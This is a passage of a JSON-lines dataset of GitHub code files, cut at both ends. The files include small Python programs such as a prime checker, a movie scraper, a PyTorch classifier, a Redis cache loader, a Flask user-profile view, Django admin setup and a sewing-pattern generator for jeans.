== 5 or n == 7:\n        return True\n    if n % 2 == 0 or n % 3 == 0 or n % 5 == 0 or n % 7 == 0:\n        return False\n    else:\n        for i in range(11, math.floor(pow(n, 0.5))+2, 2):\n            if n % i == 0:\n                return False\n    return True\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"AdamShechter9/project_euler_solutions","sub_path":"49.py","file_name":"49.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20537351957","text":"import pandas as pd\nfrom pandas import ExcelWriter\n\nfrom scraper import abrir_pagina,obtener_peliculas\nfrom helpers import separar_info\n\n#Flujo principal\nabrir_pagina()\npeliculas = obtener_peliculas()\n\n#Convertir cada pelicula(texto) en una lista separada por datos como titulo,rate,comentarios,etc\nlista_peliculas = []\nfor pelicula in peliculas:\n    lista_peliculas.append(separar_info(pelicula))\n\nfor i in lista_peliculas:\n    print(i)\n    print(len(i))\n    print()\n    \n#creemos nuestro dataset\ndf = pd.DataFrame(lista_peliculas,\n                  columns=['Titulo and year','Duracion y genero','calificacion','label','metascore','Descripcion','Director y estrellas','votos'])\n\ndf.to_excel('peliculas.xlsx',index=False)\n\n\n\n","repo_name":"Xime1909/peliculas-scraping","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20260346448","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 13 14:53:07 2022\r\n\r\n@author: HajasW\r\n\"\"\"\r\nfrom numpy import log,exp,average,ndarray\r\nfrom scipy.stats.mstats import mquantiles\r\nimport sys\r\n#sys.path.append('C:/Analyses/EFA_Productivity_Model.20180929/pyfunctions')\r\n#from HarvestAmountUtility import EstPreB as NoTruncEstPreB\r\n\r\n\r\ndef EstPreB(Bpost,t,a,b,xmax,fmax,MinRelAbund):\r\n    if isinstance(a, (list,ndarray)):\r\n        result=[  EstPreB(Bpost,t,a[i],b[i],xmax[i],fmax[i],MinRelAbund[i]) for i in range(len(a))]\r\n        return(result)\r\n    \r\n    if Bpost<=MinRelAbund:\r\n        return(0)\r\n    result=NoTruncEstPreB(Bpost,t,a,b,xmax,fmax)\r\n    return(result)\r\n    \r\ndef EstFracVirgin(Bpost,t,a,b,xmax,fmax,MinRelAbund):\r\n    if isinstance(a, (list,ndarray)):\r\n        result=[  EstFracVirgin(Bpost,t,a[i],b[i],xmax[i],fmax[i],MinRelAbund[i]) for i in range(len(a))]\r\n        return(result)\r\n    Bpre= EstPreB(Bpost,t,a,b,xmax,fmax,MinRelAbund)\r\n    if Bpre<=Bpost:\r\n        return(0)\r\n    result=Bpre-Bpost\r\n    return(result)\r\n    \r\ndef EstFracBpre(Bpost,t,a,b,xmax,fmax,MinRelAbund):\r\n    if isinstance(a, (list,ndarray)):\r\n        result=[  EstFracBpre(Bpost,t,a[i],b[i],xmax[i],fmax[i],MinRelAbund[i]) for i in range(len(a))]\r\n        return(result)\r\n    Bpre= EstPreB(Bpost,t,a,b,xmax,fmax,MinRelAbund)\r\n    if Bpre<=Bpost:\r\n        return(0)\r\n    result=(Bpre-Bpost)/Bpre\r\n    return(result)\r\n\r\ndef qfunc(func,Bpost,t,a,b,xmax,fmax,MinRelAbund,prob=[.025,.500,.975] ):\r\n    if isinstance(Bpost, (list,ndarray)):\r\n        result=[ qfunc(func,r,t,a,b,xmax,fmax,MinRelAbund,prob=prob ) for r in Bpost]\r\n        return(result)\r\n    values=func(Bpost,t,a,b,xmax,fmax,MinRelAbund )\r\n    result=list(mquantiles(values,prob=prob))\r\n    return(result)\r\n    \r\ndef CurvesFunc(func,Bpost,t,a,b,xmax,fmax,MinRelAbund,prob=[.025,.500,.975] ):\r\n    qvals=qfunc(func,Bpost,t,a,b,xmax,fmax,MinRelAbund,prob=prob)\r\n    result={}\r\n    result['Bpost']=Bpost\r\n    for i in range(len(prob)):\r\n        result[prob[i]]=[t[i]  for t in qvals]\r\n    return(result)\r\n    \r\n\r\n    \r\nif __name__ == \"__main__\":\r\n    \r\n    from GetMinRelAbund import GetMinRelAbund\r\n    from GetParamStats import GetParamValues2 as GetParamValues    \r\n    sys.path.append('../')\r\n    from hdf5file import hdf5file,burn,nthin,PickleFile\r\n    nthin=1000\r\n    hdf5file='C:/Analyses/EFA_Productivity_Model.20180929/Zeballos/NewModel_wideSdYear_WideSiteArea/seed.20180824.hdf5'\r\n    nthin=10\r\n    \r\n    a=GetParamValues(hdf5file, 'a',burn=burn,nthin=nthin)\r\n    b=GetParamValues(hdf5file, 'b',burn=burn,nthin=nthin)\r\n    fmax=GetParamValues(hdf5file, 'fmax',burn=burn,nthin=nthin)\r\n    xmax=GetParamValues(hdf5file, 'xmax',burn=burn,nthin=nthin)\r\n    MinRelAbund=GetMinRelAbund(hdf5file,burn=burn,nthin=nthin,minRelBmass=1.e-3,maxRelBmass=1-1e-3,maxTime=9999,root='Rel_Abund')\r\n    \r\n\r\n    print('finished reading data')\r\n    Bpost=[(i+.5)/10 for i in range(10)]\r\n    test= CurvesFunc(EstFracVirgin,Bpost,1,a,b,xmax,fmax,MinRelAbund,prob=[.025,.500,.975] )\r\n    Bpost,t,a,b,xmax,fmax,MinRelAbund=.5,1,a[0],b[0],xmax[0],fmax[0],MinRelAbund[0]\r\n","repo_name":"WayneHajas/Sea-Cucumber-Productivity-Model","sub_path":"HarvestFromBpost.py","file_name":"HarvestFromBpost.py","file_ext":"py","file_size_in_byte":3102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37166921132","text":"from torch import nn\n\nclass Net(nn.Module):\n    \n    def __init__(self, n_classes=10):\n        super().__init__()  \n\n        # Note: Tensors (arrays) here are of shape [B, C, M, N], where:\n        # B is the number of samples in a batch\n        # C is the number of \"color\" or feature channels\n        # M is the first spatial dimension\n        # N is the second spatial dimension\n\n\n        # Input is [B, 3, 64, 64]\n        self.convolutions = nn.Sequential( \n            nn.Conv2d(3, 32, 3, padding=1), # [B, 32, 64, 64]\n            nn.BatchNorm2d(32), # [B, 32, 64, 64]\n            nn.ReLU(inplace=True), # [B, 32, 64, 64]\n            nn.MaxPool2d(2, 2), # [B, 32, 32, 32]\n            #==============================================================\n            nn.Conv2d(32, 64, 3, padding=1), # [B, 64, 32, 32]\n            nn.BatchNorm2d(64), # [B, 64, 32, 32]\n            nn.ReLU(inplace=True), # [B, 64, 32, 32]\n            nn.MaxPool2d(2, 2), # [B, 64, 16, 16]\n        )\n\n        # Input will be reshaped from [B, 64, 16, 16] to [B, 64*16*16] for fully connected layers\n        self.fully_connected = nn.Sequential(\n            nn.Linear(64*16*16, 256), # [B, 256]\n            nn.ReLU(inplace=True), # [B, 256]\n            nn.Linear(256, n_classes), # [B, n_classes]\n        )\n\n        # Note: the final output must have shape [B, n_classes]\n\n        # We're skipping a softmax activation here since we'll be using a loss function that does it automatically\n\n\n\n    def forward(self, img):\n\n        # Apply convolution operations\n        x = self.convolutions(img)\n\n        # Reshape\n        x = x.view(x.size(0), -1)\n\n        # Apply fully connected operations\n        x = self.fully_connected(x)\n\n        return x","repo_name":"selimceylan/Land-Cover-Classification-using-CNN","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37692689859","text":"# Write Program to find smallest and largest element in an array\n\nn = int(input('Enter size of array: '))\narr = []\n\nprint('Enter elements: ')\nfor i in range (n):\n    temp = int(input())\n    arr.append(temp)\n\nmax = arr[0]\nmin = arr[0]\n\nfor i in range (n):\n    if arr[i] < min:\n        min = arr[i]\n    if arr[i] > max:\n        max = arr[i]\n\nprint('Smallest Number:',min)\nprint('Largest Number:',max)","repo_name":"ZuhairBhati/100-days-coding-series","sub_path":"45-small-large-elements-in-array.py","file_name":"45-small-large-elements-in-array.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"19106785835","text":"import torch as th\nfrom numbers import Number\nfrom typing import cast, Any, Callable, Iterable, Sequence, TypeVar, Union\n\n\ndef pytree_batch_size(tree: Any) -> int:\n    \"\"\"Finds the first tensor in a pytree and returns its batch size.\"\"\"\n    for elem in pytree_flatten(tree):\n        if isinstance(elem, th.Tensor) and elem.ndim > 0:\n            return elem.shape[0]\n\n    raise ValueError(\"No tensor found in pytree.\")\n\n\ndef pytree_flatten(tree: Any) -> Iterable[Union[Number, th.Tensor]]:\n    \"\"\"Recursively iterate over all tensors in a pytree, in topological order.\"\"\"\n    # Stopping condition\n    if isinstance(tree, (Number, th.Tensor)):\n        yield tree\n\n    # Recursive case\n    elif isinstance(tree, dict):\n        for elem in tree.values():\n            yield from pytree_flatten(elem)\n\n    elif isinstance(tree, Sequence):\n        for elem in tree:\n            yield from pytree_flatten(elem)\n\n\nLeafInput = TypeVar(\"LeafInput\", bool, complex, float, int, th.Tensor)\n\n\ndef pytree_map(func: Callable[[LeafInput], Any], tree: Any, strict: bool = True):\n    \"\"\"\n    Recursively apply a function to all tensors in a pytree, returning the results\n    in a new pytree with the same structure. Non-tensor leaves are copied.\n    \"\"\"\n    # Stopping condition\n    if isinstance(tree, (Number, th.Tensor)):\n        return func(cast(LeafInput, tree))\n\n    # Recursive case\n    if isinstance(tree, dict):\n        return {k: pytree_map(func, cast(LeafInput, v)) for k, v in tree.items()}\n\n    if isinstance(tree, list):\n        return [pytree_map(func, cast(LeafInput, v)) for v in tree]\n\n    if isinstance(tree, tuple):\n        return tuple(pytree_map(func, cast(LeafInput, v)) for v in tree)\n\n    if strict:\n        raise TypeError(\n            f\"Found leaf '{tree}' of unsupported type '{type(tree).__name__}',\"\n            f\" use `strict=False` to ignore\"\n        )\n    else:\n        return tree\n","repo_name":"norabelrose/modularity","sub_path":"modularity/tree_util.py","file_name":"tree_util.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26659079106","text":"import collections\nimport datetime\nimport glob\nimport gzip\nimport logging\nimport multiprocessing\nimport os\nfrom copy import deepcopy\nfrom multiprocessing import JoinableQueue, Lock, Process, cpu_count\nfrom optparse import OptionParser\nfrom typing import Any, Dict, List, Tuple\n\nimport redis\n\nfrom load_env import load_environ\n\nload_environ()\nAppsInstalled = collections.namedtuple(\n    \"AppsInstalled\", [\"dev_type\", \"dev_id\", \"lat\", \"lon\", \"apps\"]\n)\nNORMAL_ERR_RATE = 0.01\n\n\ndef get_redis_conn(\n    key_and_port: Dict[str, int]\n) -> Tuple[Dict[str, redis.StrictRedis], bool]:\n    conn_dict: Dict = {}\n    key_and_port_err: Dict = {}\n    err: bool = True\n    while err:\n        for key, port in key_and_port.items():\n            conn_dict[key] = redis.StrictRedis(\n                username=os.environ.get(\"REDIS_LOGIN\"),\n                password=os.environ.get(\"REDIS_PWD\"),\n                host=os.environ.get(\"REDIS_HOST\"),\n                port=port,\n            )\n            try:\n                conn_dict[key].ping()\n            except redis.exceptions.ConnectionError:\n                key_and_port_err[key] = port\n        if len(key_and_port_err) == 0:\n            err = False\n        key_and_port = deepcopy(key_and_port_err)\n\n    return conn_dict, err\n\n\ndef dot_rename(path: str) -> None:\n    head, fn = os.path.split(path)\n    os.rename(path, os.path.join(head, \".\" + fn))\n\n\ndef parse_appsinstalled(line: str) -> AppsInstalled | None:\n    line_parts: List[str] = line.strip().split(\"\\t\")\n    if len(line_parts) < 5:\n        return\n    dev_type, dev_id, lat, lon, raw_apps = line_parts\n    if not dev_type or not dev_id:\n        return\n    try:\n        apps: List[int] = [int(a.strip()) for a in raw_apps.split(\",\")]\n    except ValueError:\n        apps: List[int] = [int(a.strip()) for a in raw_apps.split(\",\") if a.isidigit()]\n    try:\n        lat, lon = float(lat), float(lon)\n    except ValueError:\n        pass\n    return AppsInstalled(dev_type, dev_id, lat, lon, apps)\n\n\ndef establish_all_connections() -> Dict[str, redis.Redis]:\n    redis_conn, err = get_redis_conn(\n        {\n            \"idfa\": int(os.environ.get(\"REDIS_idfa\")),\n            \"gaid\": int(os.environ.get(\"REDIS_gaid\")),\n            \"adid\": int(os.environ.get(\"REDIS_adid\")),\n            \"dvid\": int(os.environ.get(\"REDIS_dvid\")),\n        }\n    )\n    return redis_conn\n\n\ndef load_in_redis(redis_conn: Dict[str, redis.Redis], app_line: AppsInstalled) -> bool:\n    key = \"%s:%s\" % (app_line.dev_type, app_line.dev_id)\n\n    redis_conn[app_line.dev_type].set(\n        key, f\"{app_line.lat}:{app_line.lon}-{app_line.apps}\"\n    )\n    return True\n\n\ndef config_logging():\n    logging.basicConfig(\n        level=logging.INFO,\n        format=\"[%(asctime)s] %(levelname).1s %(message)s\",\n        datefmt=\"%Y.%m.%d %H:%M:%S\",\n    )\n\n\nclass Producer(Process):\n    \"\"\"\n    Producer class\n    Adds rows to the queue for processing by consumers\n    :param: queue - Shared queue for all processes\n    :param: lock - Shared lock for all processes\n    :param: fn - file to be processed by the process\n    \"\"\"\n\n    def __init__(self, queue: JoinableQueue, lock: Lock, fn: Any):\n        Process.__init__(self)\n        self.queue = queue\n        self.lock = lock\n        self.file = fn\n        self.logger = logging.getLogger(__name__)\n\n    def run(self):\n        config_logging()\n        self.logger.setLevel(logging.INFO)\n        self.logger.info(f\"Producer {os.getpid()} processing %s\" % self.file)\n        fd = gzip.open(self.file)\n        for line in fd:\n            self.queue.put(line)\n\n        fd.close()\n        self.logger.info(f\"Producer {os.getpid()} finish %s\" % self.file)\n        dot_rename(self.file)\n        self.logger.info(f\"Producer {os.getpid()} rename file %s\" % self.file)\n        self.queue.task_done()\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        self.terminate()\n\n\nclass Consumer(Process):\n    \"\"\"\n    Consumer class\n    Takes the lines from the queue and adds them to the corresponding Redis\n    :param: queue - Shared queue for all processes\n    :param: lock - Shared lock for all processes\n    \"\"\"\n\n    def __init__(self, queue: JoinableQueue, lock: Lock):\n        Process.__init__(self)\n        self.daemon = True\n        self.queue = queue\n        self.lock = lock\n        self.logger = logging.getLogger(__name__)\n\n    def run(self):\n        config_logging()\n        self.logger.setLevel(logging.INFO)\n        self.logger.info(f\"Start consumer {os.getpid()}\")\n        redis_connection_pools = establish_all_connections()\n        self.logger.info(f\"Redis is ok in {os.getpid()}\")\n        while True:\n            line = self.queue.get()\n            if line == \"STOP\":\n                break\n            line = line.strip()\n            appsinstalled = parse_appsinstalled(line.decode(\"utf-8\"))\n            if not appsinstalled:\n                continue\n            _ = load_in_redis(redis_connection_pools, appsinstalled)\n        self.queue.task_done()\n        self.logger.info(f\"Consumer {os.getpid()} end work\")\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        self.terminate()\n\n\ndef main(options: Any) -> None:\n    queue = JoinableQueue()\n    lock = Lock()\n    producer_workers: List[multiprocessing.Process] = []\n    consumer_workers: List[multiprocessing.Process] = []\n\n    for fn in glob.iglob(\"..\" + options.pattern):\n        producer_workers.append(Producer(queue, lock, fn))\n    for i in range(cpu_count() - 2):\n        consumer_workers.append(Consumer(queue, lock))\n\n    for producer in producer_workers:\n        producer.start()\n    for consumer in consumer_workers:\n        consumer.start()\n    for producer in producer_workers:\n        producer.join()\n    for _ in range(len(consumer_workers)):\n        queue.put(\"STOP\")\n    for consumer in consumer_workers:\n        consumer.join()\n\n    queue.close()\n    queue.join_thread()\n\n\nif __name__ == \"__main__\":\n    op = OptionParser()\n    op.add_option(\"--pattern\", action=\"store\", default=\"/data/appsinstalled/*.tsv.gz\")\n    (opts, args) = op.parse_args()\n    config_logging()\n    logger = logging.getLogger(__name__)\n    start = datetime.datetime.now()\n    logger.info(f\"Start program at {start}\")\n    main(opts)\n    logger.info(f\"Run time: {datetime.datetime.now() - start}\")\n    # Processing two tsv.gz by 512mb on 16 cores = 7.32 min\n","repo_name":"daniil49926/RedisCacheLoad","sub_path":"multi_process_load/multi_process_cache_load.py","file_name":"multi_process_cache_load.py","file_ext":"py","file_size_in_byte":6307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70799876589","text":"\"\"\"\nInsta485 user view.\n\nURLs include:\n/\n\"\"\"\nfrom flask import (redirect, render_template,\n                   session, url_for, abort)\nimport insta485\n\n\n@insta485.app.route('/users/<user_url_slug>/', methods=[\"GET\"])\ndef show_user(user_url_slug):\n    \"\"\"Show User.\"\"\"\n    logname = session.get('logname')\n    if not logname:\n        return redirect(url_for('show_account_login'))\n    # Connect to database\n    connection = insta485.model.get_db()\n\n    # Query database\n    cur = connection.execute(\n        \"SELECT username \"\n        \"FROM users \"\n        \"WHERE username=?\",\n        [user_url_slug]\n    )\n\n    if not cur.fetchall():\n        abort(404)\n    context = {'logname': logname, 'username': user_url_slug}\n\n    # Query following relationship\n    cur = connection.execute(\n        \"SELECT * \"\n        \"FROM following \"\n        \"WHERE username1=? AND username2=?\",\n        [logname, user_url_slug]\n    )\n    if cur.fetchall():\n        context['logname_follows_username'] = True\n    else:\n        context['logname_follows_username'] = False\n\n    # Query fullname\n    cur = connection.execute(\n        \"SELECT fullname \"\n        \"FROM users \"\n        \"WHERE username=?\",\n        [user_url_slug]\n    )\n    context['fullname'] = cur.fetchone()['fullname']\n\n    # Query following\n    cur = connection.execute(\n        \"SELECT COUNT(*) \"\n        \"AS count \"\n        \"FROM following \"\n        \"WHERE username1=?\",\n        [user_url_slug]\n    )\n    context['following'] = cur.fetchone()['count']\n\n    # Query followers\n    cur = connection.execute(\n        \"SELECT COUNT(*) \"\n        \"AS count \"\n        \"FROM following \"\n        \"WHERE username2=?\",\n        [user_url_slug]\n    )\n    context['followers'] = cur.fetchone()['count']\n\n    # Query posts\n    cur = connection.execute(\n        \"SELECT postid, (filename) AS img_url \"\n        \"FROM posts \"\n        \"WHERE owner=?\",\n        [user_url_slug]\n    )\n    context['posts'] = cur.fetchall()\n    context['total_posts'] = len(context['posts'])\n    for item in context['posts']:\n        item['img_url'] = '/uploads/' + item['img_url']\n        # insta485.app.logger.debug(item['img_url'])\n    return render_template(\"user.html\", **context)\n","repo_name":"tianhaogu/Instagram-like-social-network-with-server-side-dynamic-pages","sub_path":"insta485/views/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"74604358188","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin, GroupAdmin\nfrom django.contrib.auth.models import Group\nfrom django.db.utils import ProgrammingError\nfrom django.utils.translation import gettext_lazy as _\n\nfrom users.forms import CustomUserCreationForm, CustomUserChangeForm\nfrom users.models import User\nfrom users.models_dir import settings, funcs, equipment, group\n\n\nclass CustomUserAdmin(UserAdmin):\n    add_form = CustomUserCreationForm\n    form = CustomUserChangeForm\n    model = User\n    fieldsets = (\n        (None, {'fields': ('username', 'password')}),\n        (_('Personal info'), {'fields': ('first_name', 'last_name', 'email', 'avatar', 'ip', 'birthday', 'country',\n                                         'state', 'signature', 'title', 'gender', 'rank', 'respect', 'banreason',\n                                         'money', 'ico_num', 'chat_color', \"equip\"\n                                         )}),\n        (_('Permissions'), {\n            'fields': ('is_active', 'is_staff', 'is_superuser', 'groups', 'user_permissions'),\n        }),\n        (_('Important dates'), {'fields': ('last_login', 'date_joined')}),\n    )\n    list_display = ['username', 'id', 'email', \"valid_username\", ]\n\n\nadmin.site.unregister(User)\nadmin.site.register(User, CustomUserAdmin)\n\n\n@admin.register(funcs.Award)\nclass AwardAdmin(admin.ModelAdmin):\n    list_display = [\"name\", \"description\", \"id\", \"icon_admin\"]\n\n\n@admin.register(settings.UserSettings)\nclass SiteSettingsAdmin(admin.ModelAdmin):\n    # Створимо об'єкт за замовчуванням при першому сторінки SiteSettingsAdmin зі списком налаштувань\n    def __init__(self, model, admin_site):\n        super().__init__(model, admin_site)\n        # обов'язково оберніть завантаження і збереження SiteSettings в try catch,\n        # Щоб можна було виконати створення міграцій бази даних\n        try:\n            settings.UserSettings.load().save()\n        except ProgrammingError:\n            pass\n\n    # забороняємо додавання нових налаштувань\n    def has_add_permission(self, request, obj=None):\n        return False\n\n    # а також видалення існуючих\n    def has_delete_permission(self, request, obj=None):\n        return False\n\n\n@admin.register(equipment.Weapon)\nclass WeaponAdmin(admin.ModelAdmin):\n    list_display = [\"name\", \"icon_admin\", \"cost\"]\n\n\n@admin.register(equipment.Pistol)\nclass PistolAdmin(admin.ModelAdmin):\n    list_display = [\"name\", \"icon_admin\", \"cost\"]\n\n\n@admin.register(equipment.Outfit)\nclass OutfitAdmin(admin.ModelAdmin):\n    list_display = [\"name\", \"icon_admin\", \"cost\"]\n\n\n@admin.register(equipment.Ammo)\nclass AmmoAdmin(admin.ModelAdmin):\n    list_display = [\"name\", \"icon_admin\", \"cost\"]\n\n\n@admin.register(equipment.PistolAmmo)\nclass PistolAmmoAdmin(admin.ModelAdmin):\n    list_display = [\"name\", \"icon_admin\", \"cost\"]\n\n\n@admin.register(equipment.Grenade)\nclass GrenadeAdmin(admin.ModelAdmin):\n    list_display = [\"name\", \"icon_admin\", \"cost\"]\n\n\n@admin.register(equipment.Addon)\nclass AddonAdmin(admin.ModelAdmin):\n    list_display = [\"name\", \"icon_admin\", \"cost\"]\n\n\n@admin.register(equipment.UpgradeWeapon)\nclass UpgradeWeaponAdmin(admin.ModelAdmin):\n    list_display = [\"name\", \"icon_admin\", \"cost\"]\n\n\n@admin.register(equipment.UpgradeOutfit)\nclass UpgradeOutfitAdmin(admin.ModelAdmin):\n    list_display = [\"name\", \"icon_admin\", \"cost\"]\n\n\n@admin.register(equipment.Inventory)\nclass InventoryAdmin(admin.ModelAdmin):\n    list_display = [\"id\", \"get_username\"]\n\n\nclass GroupInline(admin.StackedInline):\n    model = group.Fraction\n    can_delete = False\n    verbose_name_plural = \"Группировки\"\n    verbose_name = \"Группировка\"\n\n\nclass NewGroupAdmin(GroupAdmin):\n    inlines = (GroupInline,)\n    list_display = [\"id\", \"name\"]\n\n\n@admin.register(group.ApplicationForMembership)\nclass ApplicationForMembershipAdmin(admin.ModelAdmin):\n    list_display = [\"user\", \"group\", \"decision\", \"archived\"]\n    list_filter = [\"decision\", \"archived\"]\n\n# Re-register GroupAdmin\nadmin.site.unregister(Group)\nadmin.site.register(Group, NewGroupAdmin)\n","repo_name":"0wlRLyK/post_stalker","sub_path":"users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"40844312593","text":" #!/usr/bin/env python\n# Knowles_jean_sloper.py\n# Pattern Maker: Susan Spencer Conklin\n# pants shepLL pattern\n\nfrom tmtpl.constants import *\nfrom tmtpl.pattern import *\nfrom tmtpl.client import Client\n\n#Project specific\n#from math import sin, cos, radians\nfrom math import sqrt\n\nclass PatternDesign():\n\n\tdef __init__(self):\n\t\tself.styledefs = {}\n\t\tself.markerdefs = {}\n\t\treturn\n\n\tdef pattern(self):\n\t\t\"\"\"\n\t\tMethod defining a pattern design.\n\t\tThis is where the designer places all elements of the design definition\n\t\t\"\"\"\n\t\tcd = self.cd\t#client data is prefaced with cd\n\t\tprinter = '36\" wide carriage plotter'\n\t\tcompanyName = 'Seamly Patterns'  # mandatory\n\t\tdesignerName = 'Susan Spencer' # mandatory\n\t\tpatternName = 'Knowles Jean Sloper' # mandatory\n\t\tpatternNumber = '120102-WSP' # mandatory\n\t\tdoc = setupPattern(self, cd, printer, companyName, designerName, patternName, patternNumber)\n\n\t\t# All measurements are converted to pixels...  CM = CM_TO_PX    IN = IN_TO_PX   MM = MM_TO_PX\n\t\t# All angles are in radians\n\n\t\t# pattern constants\n\t\tSEAM_EASE = 0.25*IN\n\t\tFRONT_HEM_WIDTH = cd.lower_hip_circumference * (6.0/37.5) # 6\" front hem width for 37.5\" hips\n\t\tBACK_HEM_WIDTH = cd.lower_hip_circumference * (7.0/37.5) # 7\" back hem width for 37.5\" hips\n\n\t\t# pattern object\n\t\tpants = Pattern('pants')\n\t\tpants.styledefs.update(self.styledefs)\n\t\tpants.markerdefs.update(self.markerdefs)\n\t\tdoc.add(pants)\n\n\t\t# pattern points\n\t\ta = pPoint(cd.front_lower_hip_arc + SEAM_EASE, 0.0) # front waist center pattern calculation point\n\t\tb = pPoint(a.x,  cd.outseam) # front hem inseam pattern calculation point (pPoint)\n\t\tc = pPoint(0.0, 0.0) # back & front & back waist outseam pPoint\n\t\td = pPoint(0.0, cd.outseam) # front & back hem outseam pPoint\n\t\te = pPoint(0.0 - (cd.back_lower_hip_arc + SEAM_EASE), 0.0) # back waist center pPoint\n\t\tf = pPoint(e.x, cd.outseam) # back hem inseam pPoint\n\t\tg = pPoint(0.0, cd.side_lower_hip_length) # front & back hip outseam pPoint\n\t\th = pPoint(a.x, cd.side_lower_hip_length) # front inseam pPoint\n\t\ti = pPoint(e.x, cd.side_lower_hip_length) # back inseam pPoint\n\t\tj = pPoint(0.0, cd.side_rise) # front & back rise outseam pPoint\n\t\tk = pPoint(a.x, cd.side_rise) # front rise inseam pPoint\n\t\tl = pPoint(e.x, cd.side_rise) # back rise inseam pPoint\n\t\tm = pPoint(0.0, cd.knee_length) # front & back knee outseam pPoint\n\t\tn = pPoint(a.x,  cd.knee_length) # front knee inseam pPoint\n\t\to = pPoint(e.x,  cd.knee_length) # back knee inseam pPoint\n\t\tp = pPoint(k.x + cd.front_crotch_extension, cd.side_rise) # front crotch inseam pPoint\n\t\tq = pPoint(l.x - cd.back_crotch_extension, cd.side_rise) # back crotch inseam pPoint\n\t\tr = pPoint((p.x)/2.0, cd.side_rise) # front creaseline point at rise\n\t\ts = pPoint(r.x, cd.knee_length) # front knee midpoint\n\t\tt = pPoint(0.0 - r.x, cd.side_rise) # back creaseline point at rise\n\t\tu = pPoint(t.x, cd.knee_length) # back knee midpoint\n\t\tv = pPoint(r.x + FRONT_HEM_WIDTH/2.0,  cd.outseam) # front hem inseam\n\t\tw = pPoint(r.x - FRONT_HEM_WIDTH/2.0, cd.outseam) # front hem outseam\n\t\tx = pPoint(t.x + BACK_HEM_WIDTH/2.0, cd.outseam) # back hem outseam\n\t\ty = pPoint(t.x - BACK_HEM_WIDTH/2.0, cd.outseam) # back hem inseam\n\t\tz = pPoint(0.0, cd.side_lower_hip_length + 1.0*IN) # on front & back outseam 1\" below hip\n\n\t\taa = pntIntersectLinesP(w, z, o, n) # front outseam at knee\n\t\tbb = pPoint(s.x + lineLengthP(aa, s), cd.knee_length) # front inseam at knee\n\t\tcc = pntIntersectLinesP(v, bb, q, p) # front inseam curve calculation point\n\t\tdd = pntIntersectLinesP(x, z, o, m) # back outseam at knee\n\t\tee = pPoint(u.x - lineLengthP(u, dd), cd.knee_length) # back inseam at knee\n\t\tff = pntIntersectLinesP(y, ee, q, p) # back inseam curve calculation point\n\t\tgg = pPoint(e.x, 0.0 - 1.0*IN) # back waistline center - raised by 1\"\n\t\thh = pPoint(gg.x + (1.0+(7/8))*IN, gg.y) # back waistline center - moved towards back outseam by 1-7/8\"\n\n\t\tpnts = pntIntersectLineCircleP(hh, cd.back_waist_arc, e, a) # circle center=hh, radius=back_waist_arc, line->points e & a. Returns pnts.p1 and pnts.p2\n\t\tif (pnts.p1.y >= hh.y): # if first intersection is lower (greater y) on grid than hh then select it as back waist at outseam\n\t\t\tii = pnts.p1\n\t\telse:\n\t\t\tii = pnts.p2\n\n\t\tjj = pPoint(a.x, 0.0 + 1.0*IN) # front waistline center - lowered by 1\"\n\t\tkk = pPoint(jj.x - 1.0*IN, jj.y) # front waistline center - moved away from center by 1\"\n\t\tll = pPoint(kk.x - sqrt(cd.front_1_waist_arc**2 + (1.0**2)), 0.0)\n\t\tmm = pntFromDistanceAndAngleP(k, 1.0*IN, angleOfDegree(45.0))\n\t\tnn = pntFromDistanceAndAngleP(l, 1.0*IN, angleOfDegree(135.0))\n\n\t\t# pants Front 'A'\n\t\tpants.add(PatternPiece('pattern', 'front', letter = 'A', fabric = 2, interfacing = 0, lining = 0))\n\t\tA = pants.front\n\t\t# front waistline\n\t\tAW1, AW2 = rPointP(A, 'AW1', ll), rPointP(A, 'AW2', kk)\n\t\tangle1, angle2 = angleOfLineP(AW1, AW2), angleOfLineP(AW2, AW1)\n\t\tdistance = lineLengthP(AW1, AW2)/3.0\n\t\tcAW2b = cPoint(A, 'cAW2b', AW2.x - distance, AW2.y)\n\t\tcAW2a = cPointP(A, 'cAW2a', pntOnLineP(AW1, cAW2b, distance)) # 1st control point is 'aimed' at 2nd control point\n\t\t#AW4, AW5 = rPoint(A, 'AW4', AW2.x + dart_width,  AW2.y), rPointP(A, 'AW5', kk)\n\t\t#angle1, angle2 = angleOfLineP(AW1, AW2), angleOfLineP(AW2, AW1)\n\t\t#dart_half_angle = angleOfVectorP(AW4, AD1, AW2)/2.0\n\t\t#distance1,  distance2 = lineLengthP(AW1, AW2)/3.0, lineLengthP(AW4, AW5)/3.0\n\t\t#pnt = pntFromDistanceAndAngleP(AW2, 2*CM, angle2)\n\t\t#AW3 = rPointP(A, 'AW3', pntIntersectLinesP(AW2, pnt, AD1, AD0))\n\t\t#cAW2a = rPointP(A, 'cAW2a', pntFromDistanceAndAngleP(AW1, distance1, angle1 + dart_half_angle))\n\t\t#cAW2b = rPointP(A, 'cAW2b', pntFromDistanceAndAngleP(AW2, distance1, angle2 - dart_half_angle))\n\t\t#cAW5a = rPointP(A, 'cAW5a', pntFromDistanceAndAngleP(AW4, distance2, 